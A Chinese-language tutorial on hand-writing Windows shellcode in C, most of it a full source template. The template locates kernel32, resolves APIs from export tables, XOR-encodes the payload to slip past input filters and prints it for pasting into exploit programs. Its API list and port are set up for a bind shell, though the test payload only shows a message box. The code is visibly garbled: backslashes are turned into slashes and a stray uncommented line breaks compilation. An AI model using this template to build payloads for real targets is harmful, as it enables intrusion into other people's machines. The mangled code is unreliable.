关于Windows下ShellCode编写的一点思考

                                        By Hume/冷雨

  关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来,以慰同菜。


我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送
给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要
求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。

编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。

就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要
完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编
编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。

但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。

用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。

在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改
并加入一些自己的代码,测试通过。

其中的一些问题有:

1.KERNEL基地址的定位和API函数地址的获取

   原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:

一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:

mov eax, fs:0x30    
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c] 
lodsd                
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

这种方法比较通用,适用于2K/XP/2003。

另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。

2.几段代码的作用

    在ShellCode提取代码中你或许会经常见到
    temp = *shellcodefnadd;
    if(temp == 0xe9) 
    {
          ++shellcodefnadd;
          k=*(int *)shellcodefnadd;
          shellcodefnadd+=k;
          shellcodefnadd+=4;
    }
    这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:

   jmp function

   上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。

   还有在代码中会看到:
           jmp    decode_end

decode_start:
           pop    edx
           .......
decode_end:
        
           call    decode_start
Shell_start:

    之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。

3.关于局部变量的地址顺序

    在原程序中采用了如下局部变量结构:

        FARPROC     WriteFileadd;
    FARPROC     ReadFileadd;
    FARPROC     PeekNamedPipeadd;
    FARPROC     CloseHandleadd;
    FARPROC     CreateProcessadd;
    FARPROC     CreatePipeadd;
    FARPROC        procloadlib;

    FARPROC     apifnadd[1];

        以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>

void shell();

void __cdecl main(int argc,char *argv[])
{
    FARPROC arg1;
    FARPROC arg2;
    FARPROC arg3;
    FARPROC arg4;
    FARPROC arg5;
    int par1;
    int par2;
    int par3;
    int par4;
    char ch;

    printf("Size of FARPROC %d/n",sizeof(FARPROC));
    printf("/n%X/n%X/n%X/n%X/n%X/n/n  /t%X/n%X/n%X/n%X/n /t%X/n",
        &arg1,
        &arg2,
        &arg3,
        &arg4,
        &arg5,
        &par1,
        &par2,
        &par3,
        &par4,
        &ch

        );
}


在我机器上产生的输出是:

12FF7C
12FF78
12FF74
12FF70
12FF68

        12FF6C
12FF64
12FF60
12FF5C
        12FF58

这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。

4.more

关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。

5.代码

    可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
    增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
同步更新Enum的索引即可。调用API时直接使用:
    
    API[_APINAME](param,....param);

    即可。

    如果没注释掉有#define  DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。
-------------------------------------------
/*
            使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define  DEBUG 1

//
//函数原型
//
void     DecryptSc();
void     ShellCodes();
void     PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define  BEGINSTRLEN    0x08    //开始字符串长度
#define  ENDSTRLEN      0x08    //结束标记字符的长度
#define  nop_CODE       0x90    //填充字符
#define  nop_LEN        0x0     //ShellCode起始的填充长度
#define  BUFFSIZE       0x20000 //输出缓冲区大小

#define  sc_PORT        7788    //绑定端口号 0x1e6c
#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

#define  Enc_key        0x7A    //编码密钥

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400   //APIstr字符串的长度
#define  API_endstr     "strend"//API结尾标记字符串    
#define  API_endstrlen  0x06    //标记字符串长度

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90/
                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{       //Kernel32
            _CreatePipe,
            _CreateProcessA,
            _CloseHandle,
            _PeekNamedPipe,
            _ReadFile,
            _WriteFile,
            _ExitProcess,

            //WS2_32
            _socket,
            _bind,
            _listen,
            _accept,
            _send,
            _recv,
            _ioctlsocket,
            _closesocket,

            //本机测试User32
            _MessageBeep,
            _MessageBoxA,
            API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="/x1e/x6c"   //端口地址

            //Kernel32的API函数名称
            "CreatePipe""/x0"
            "CreateProcessA""/x0"
            "CloseHandle""/x0"
            "PeekNamedPipe""/x0"
            "ReadFile""/x0"
            "WriteFile""/x0"
            "ExitProcess""/x0"

            //其它API中用到的API
            "wsock32.dll""/x0"
            "socket""/x0"
            "bind""/x0"
            "listen""/x0"
            "accept""/x0"
            "send""/x0"
            "recv""/x0"
            "ioctlsocket""/x0"
            "closesocket""/x0"
            //本机测试
            "user32.dll""/x0"
            "MessageBeep""/x0"
            "MessageBoxA""/x0"

            "/x0/x0/x0/x0/x0"
            "strend";

  char  *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";  //标记开始的字符串
  char  *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";  //标记结束的字符串

  char  buff[BUFFSIZE];         //缓冲区
  char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲
  char  *pDcrypt_addr,
        *pSc_addr;

  int   buff_len;               //缓冲长度
  int   EncCode_len;            //加密编码代码长度
  int   Sc_len;                 //原始ShellCode的长度

  int       i,k;
  unsigned  char ch;

  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
      pDcrypt_addr++;
      i=*(int *)pDcrypt_addr;
      pDcrypt_addr+=(i+4);      //此时指向函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

  if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始
  else 
  {
      //显示错误信息
      k=0;
      printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n");
      return 0;
  }

  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

  if (k<MAX_Enc_Len) EncCode_len=k;
  else 
  {
      k=0;
      printf("/nNo End str defined in Decrypt function!Please Check..../n");
      return 0;
  }

  memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff

  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes;     //shellcode的地址

  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
      pSc_addr++;
      i=*(int *)pSc_addr;
      pSc_addr+=(i+4);      //此时指向函数的实际地址
  }

  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
  if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始
  */

  //找到shellcode的结尾及长度
  for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
  if (k<MAX_Sc_Len) Sc_len=k;
  else 
  {
      k=0;
      printf("/nNo End str defined in ShellCodes function!Please Check..../n");
      return 0;
  }


  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);

  //把字符串拷贝在shellcode的结尾
  for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
  if(i>=MAX_api_strlen)
  {
      printf("/nNo End str defined in API strings!Please Check..../n");
      return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);

  Sc_len+=i;        //增加shellcode的长度

  //
  //对shellcode进行编码算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始

  for(i=0;i<Sc_len;++i){

     ch=sc_buff[i]^Enc_key;
     //对一些可能造成shellcode失效的字符进行替换
     if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
     {
        buff[k]='0';
        ++k;
        ch+=0x31;
     }
     //把编码过的shellcode放在DecryptSc代码后面
     buff[k]=ch;
     ++k;
  }

  //shellcode的总长度
  buff_len=k;

  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);

#ifdef DEBUG
  _asm{
      lea eax,buff
      jmp eax
      ret
  }
#endif

    return  0;
}

//解码shellcode的代码
void  DecryptSc()
{
       __asm{

/
//定义开始标志
/
          PROC_BEGIN    //C macro to begin proc

          jmp   next
getEncCodeAddr:
          pop   edi
          push  edi
          pop   esi
          xor   ecx,ecx
Decrypt_lop: 
          lodsb
          cmp  al,cl
          jz   shell
          cmp  al,0x30  //判断是否为特殊字符
          jz   special_char_clean
store:      
          xor  al,Enc_key
          stosb
          jmp  Decrypt_lop
special_char_clean:   
          lodsb
          sub al,0x31
          jmp store
next:     
          call  getEncCodeAddr
          //其余真正加密的shellcode代码会连接在此处
shell:    

/
//定义结束标志
/
          PROC_END      //C macro to end proc

          }
}         

//
//shellcode代码
//
void ShellCodes()
{
    //API低址数组    
    FARPROC     API[API_num];


    //自己获取的API地址
    FARPROC     GetProcAddr;
    FARPROC    LoadLib;

    HANDLE      hKrnl32;
    HANDLE      libhandle;

    char        *ApiStr_addr,*p;
    
    int         k;
    u_short     shellcodeport;

    //测试用变量
    char        *testAddr;

/*
    STARTUPINFO siinfo;
    SOCKET      listenFD,clientFD;
    struct      sockaddr_in server;
    int         iAddrSize = sizeof(server);
    int         lBytesRead;
    PROCESS_INFORMATION ProcessInformation;
    HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    SECURITY_ATTRIBUTES sa;

*/


_asm {
        jmp    locate_addr0
getApiStr_addr:
        pop    ApiStr_addr

        //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
        //以后就可以方便地获取任何API的地址了

        //保护寄存器
        pushad

    xor     esi,esi
        lods    dword ptr fs:[esi]
        
Search_Krnl32_lop:
        inc     eax
        je      Krnl32_Base_Ok
        dec     eax
        xchg    esi,eax
        LODSD  
        jmp     Search_Krnl32_lop
Krnl32_Base_Ok:

        LODSD                   
                                ;compare if PE_hdr
        xchg    esi,eax
    find_pe_header:
        dec     esi
        xor     si,si           ;kernel32 is 64kb align
        mov     eax,[esi]
        add     ax,-'ZM'        ;       
        jne     find_pe_header
        mov     edi,[esi+3ch]   ;.e_lfanew        
        mov     eax,[esi+edi]
        add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.     
        jne     find_pe_header  
        
        push     esi
                                ;esi=VA Kernel32.BASE
                                ;edi=RVA K32.pehdr        
        mov     ebx,esi
        mov     edi,[ebx+edi+78h]  ;peh.DataDirectory
        
        push    edi
        push    esi

        mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames                 
        mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals      
        call    __getProcAddr
        _emit 0x47
        _emit 0x65
        _emit 0x74
        _emit 0x50
        _emit 0x72
        _emit 0x6F
        _emit 0x63
        _emit 0x41
        _emit 0x64
        _emit 0x64
        _emit 0x72
        _emit 0x65
        _emit 0x73
        _emit 0x73
        _emit 0x0
        //db     "GetProcAddress",0
__getProcAddr:
        pop     edi
        mov     ecx,15        
        sub     eax,4
next_:        
        add     eax,4
        add     edi,ecx
        sub     edi,15
        mov     esi,[ebx+eax]
        add     esi,ebx
        mov     ecx,15
        repz    cmpsb
        jnz     next_

        pop     esi
        pop     edi

        sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames
        shr     eax,1
        add     edx,ebx
        movzx   eax,word ptr [edx+eax]        
        add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions
        add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr
                                        ;use GetProcAddress and hModule to get other func
        pop     esi                     ;esi=kernel32 Base

        mov     [hKrnl32],esi           //保存
        mov     [GetProcAddr],ebx       //保存

        call    _getLoadLib
        _emit 0x4C
        _emit 0x6F
        _emit 0x61
        _emit 0x64
        _emit 0x4C
        _emit 0x69
        _emit 0x62
        _emit 0x72
        _emit 0x61
        _emit 0x72
        _emit 0x79
        _emit 0x41
        _emit 0x0
        //db      "LoadLibraryA",0
        
_getLoadLib:
        push    esi
        call    ebx
        mov     [LoadLib],eax

        //恢复寄存器,避免更多问题
        popad
    }

   //取出定义的端口地址
   shellcodeport=*(u_short *)ApiStr_addr;
   ApiStr_addr+=2;
   
   测试用
    testAddr=ApiStr_addr;
   

   //利用GetProcAddress来获得shellcode中所用到的API地址

   libhandle=hKrnl32;
   p=ApiStr_addr;

   k=0;
   ///*
   while ( *((unsigned int *)p) != 0)
   {
       ApiStr_addr=p;
       while(*p) p++;   //前进到下一个字符串

       if (*( (unsigned int *)(p-4))=='lld.')
       {
           libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL
       }
       else
       {
           API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
           k++;
       }
       
       ApiStr_addr=++p; //更新指针前进一个字符位置
       
   }
   
   //*/

///
//         下面就可以使用C语言来编写真正实现功能的shellcode了                //
///
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///
//                           shellcode功能部分结束                       //
///

//死循环
die:   
    goto die;
__asm
    {
locate_addr0:  
           call getApiStr_addr      //5 bytes
//真正的字符串数据要连接在此处
    



/
//定义结束标志
/
          PROC_END      //C macro to end proc
       
     }
}

//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    for(i=0;i<buffsize;i++)
    {
        if((i%16)==0)
            if(i!=0)
                printf("/"/n/"");
            else
                printf("/"");
        sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                printf("%c", _tolower(*p));
            else
                printf("%c", p[0]);
        }
    }
    printf("/";/n/*Shell total are %d bytes *//n",buffsize);
}  


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